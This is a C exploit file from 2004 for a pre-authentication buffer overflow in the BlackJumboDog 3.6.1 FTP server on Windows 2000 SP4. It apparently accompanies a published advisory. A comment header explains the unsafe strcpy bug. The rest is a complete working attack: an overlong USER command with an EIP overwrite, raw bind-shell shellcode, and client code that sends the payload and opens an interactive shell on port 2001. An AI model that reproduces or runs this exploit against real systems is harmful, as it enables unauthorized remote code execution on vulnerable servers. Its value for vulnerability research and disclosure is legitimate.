//************************************************************************** // BlackJumboDog FTP Server Buffer Overflow Vulnerability // Bind Shell Exploit for English Win2K SP4 // 27 Jul 2004 // // BlackJumboDog is an integrated proxy server, web server and FTP server // developed by SapporoWorks for Microsoft Windows platforms. BlackJumboDog // version 3.6.1 is vulnerable to a buffer overflow in its FTP server. By // sending a FTP request containing an overly long parameter string in the // USER, PASS, RETR, CWD, XMKD, XRMD or various other commands, a remote // attacker can cause a stack overflow, overwriting EIP, and could execute // arbitrary code. // // This vulnerability is caused by an unsafe strcpy that copies the entire // parameter of the user's FTP command to a stack buffer of 256 bytes. // For example, if the user's FTP client issues the following command, // // USER xxxxxxxxxxxx // // The FTP command parameter "xxxxxxxxxxxx" will be copied to a 256 bytes // buffer using strcpy. Hence, by crafting an FTP command with an overly long // parameter, a remote attacker can trigger a stack overflow and execute // arbitrary code. The attacker do not need to have a valid account on the // FTP server since the overflow can be triggered before authentication using // the USER command. // // This exploit code binds shell on port 2001 of a vulnerable BlackJumboDog // FTP server. // // Advisory // http://www.security.org.sg/vuln/bjd361.html // // Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg) // //************************************************************************** #include #include #include #include #pragma comment (lib,"ws2_32.lib") unsigned char expBuf[] = "USER " "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV" "WWWW" "AAAABBBB" "\xEB\x06\x90\x90" // call ebx lands here "\xD6\x19\x02\x75" // this overwrites EIP (address of CALL EBX) "\x90\x90\x90\x90" "\xEB\x62\x55\x8B\xEC\x51\x56\x57\x8B\x5D\x08\x8B\x73\x3C\x8B\x74" "\x33\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x18\x56\x33\xD2\x8B" "\x37\x03\x75\x08\x33\xDB\x33\xC0\xAC\x85\xC0\x74\x09\xC1\xCB\x0C" "\xD1\xCB\x03\xD8\xEB\xF0\x3B\x5D\x0C\x74\x0B\x83\xC7\x04\x42\xE2" "\xDE\x5E\x33\xC0\xEB\x17\x5E\x8B\x7E\x24\x03\x7D\x08\x66\x8B\x04" "\x57\x8B\x7E\x1C\x03\x7D\x08\x8B\x04\x87\x03\x45\x08\x5F\x5E\x59" "\x8B\xE5\x5D\xC3\x55\x8B\xEC\x33\xC9\xB1\xC8\x2B\xE1\x32\xC0\x8B" "\xFC\xF3\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B" "\x58\x08\x89\x5D\xFC\x68\x8E\x4E\x0E\xEC\xFF\x75\xFC\xE8\x70\xFF" "\xFF\xFF\x83\xC4\x08\xBB\xAA\xAA\x6C\x6C\xC1\xEB\x10\x53\x68\x33" "\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x89\x45\xF8\xEB\x35" "\x5E\x8D\x7D\xF4\x33\xC9\xB1\x09\xFF\x36\xFF\x75\xFC\xE8\x40\xFF" "\xFF\xFF\x83\xC4\x08\x85\xC0\x75\x0E\x90\xFF\x36\xFF\x75\xF8\xE8" "\x2E\xFF\xFF\xFF\x83\xC4\x08\x89\x07\x33\xC0\xB0\x04\x03\xF0\x2B" "\xF8\xE2\xD5\xEB\x29\xE8\xC6\xFF\xFF\xFF\x72\xFE\xB3\x16\x35\x54" "\x8A\xA1\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED" "\xFC\x3B\xEF\xCE\xE0\x60\xE7\x79\xC6\x79\xAD\xD9\x05\xCE\x54\x6A" "\x02\xFF\x55\xE0\x33\xC0\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x55" "\xE4\x89\x45\xD0\x33\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50" "\x8B\xC4\x6A\x10\x50\xFF\x75\xD0\xFF\x55\xE8\x6A\x05\xFF\x75\xD0" "\xFF\x55\xEC\x85\xC0\x75\x68\x8B\xCC\x6A\x10\x8B\xDC\x33\xC0\x50" "\x50\x53\x51\xFF\x75\xD0\xFF\x55\xF0\x8B\xD0\x5B\x83\xF0\xFF\x74" "\x4E\x8B\xFC\x33\xC9\xB1\x64\x33\xC0\xF3\xAA\xC6\x04\x24\x44\x66" "\xC7\x44\x24\x2C\x01\x01\x89\x54\x24\x38\x89\x54\x24\x3C\x89\x54" "\x24\x40\x8B\xC4\x8D\x58\x44\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51" "\x8B\xCC\x52\x53\x53\x50\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51" "\x50\xFF\x55\xF4\x5B\x6A\xFF\xFF\x33\xFF\x55\xD4\xFF\x55\xD8\xFF" "\x75\xD0\xFF\x55\xD8\x50\xFF\x55\xDC" "\r\n"; void shell(int sockfd) { char buffer[1024]; fd_set rset; FD_ZERO(&rset); for(;;) { if(kbhit() != 0) { fgets(buffer, sizeof(buffer) - 2, stdin); send(sockfd, buffer, strlen(buffer), 0); } FD_ZERO(&rset); FD_SET(sockfd, &rset); timeval tv; tv.tv_sec = 0; tv.tv_usec = 50; if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR) { printf("select error\n"); break; } if(FD_ISSET(sockfd, &rset)) { int n; ZeroMemory(buffer, sizeof(buffer)); if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0) { printf("EOF\n"); exit(0); } else { fwrite(buffer, 1, n, stdout); } } } } int main(int argc, char* argv[]) { WORD wVersionRequested; WSADATA wsaData; struct sockaddr_in sin; int err; char inBuffer[10000]; if(argc != 2) { printf("Usage: %s \n", argv[0]); return 1; } wVersionRequested = MAKEWORD(2,0); err = WSAStartup(wVersionRequested, &wsaData); if(err != 0) { printf("\nWSAStartup Error.\n"); return 1; } if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0) { printf("\nWinsock Version Error\n"); WSACleanup(); return 1; } SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_family = AF_INET; sin.sin_port = htons(21); if(connect(s, (sockaddr *)&sin, sizeof(sin)) != SOCKET_ERROR) { int size; // read FTP banner size = recv(s, inBuffer, sizeof(inBuffer), 0); if(size == SOCKET_ERROR) { printf("Error receiving FTP banner!\n"); return 1; } fwrite(inBuffer, 1, size, stdout); if(send(s, (char *)expBuf, strlen((char *)expBuf), 0) == SOCKET_ERROR) { printf("Error sending exploit!\n"); return 1; } printf("Exploit Sent.\n"); Sleep(2000); //================================= Connect to the target ============================== SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == INVALID_SOCKET) { printf("Invalid socket return in socket() call.\n"); WSACleanup(); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(2001); sin.sin_addr.s_addr = inet_addr(argv[1]); if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) { printf("Exploit Failed. SOCKET_ERROR return in connect call.\n"); closesocket(sock); WSACleanup(); return -1; } shell(sock); } else { printf("Cannot connect!\n"); } closesocket(s); WSACleanup(); return 0; }
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